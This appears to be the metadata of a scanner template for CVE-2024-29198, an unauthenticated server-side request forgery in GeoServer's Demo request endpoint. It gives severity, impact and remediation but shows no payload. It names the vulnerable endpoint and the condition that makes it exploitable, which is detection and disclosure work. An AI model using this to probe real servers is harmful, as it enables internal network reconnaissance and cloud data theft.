GeoServer Demo Request Endpoint - Server Side Request Forgery

id: CVE-2024-29198

info:
  name: GeoServer Demo Request Endpoint - Server Side Request Forgery
  author: iamnoooob,pdresearch
  severity: high
  description: |
    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.
  remediation: |
    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.
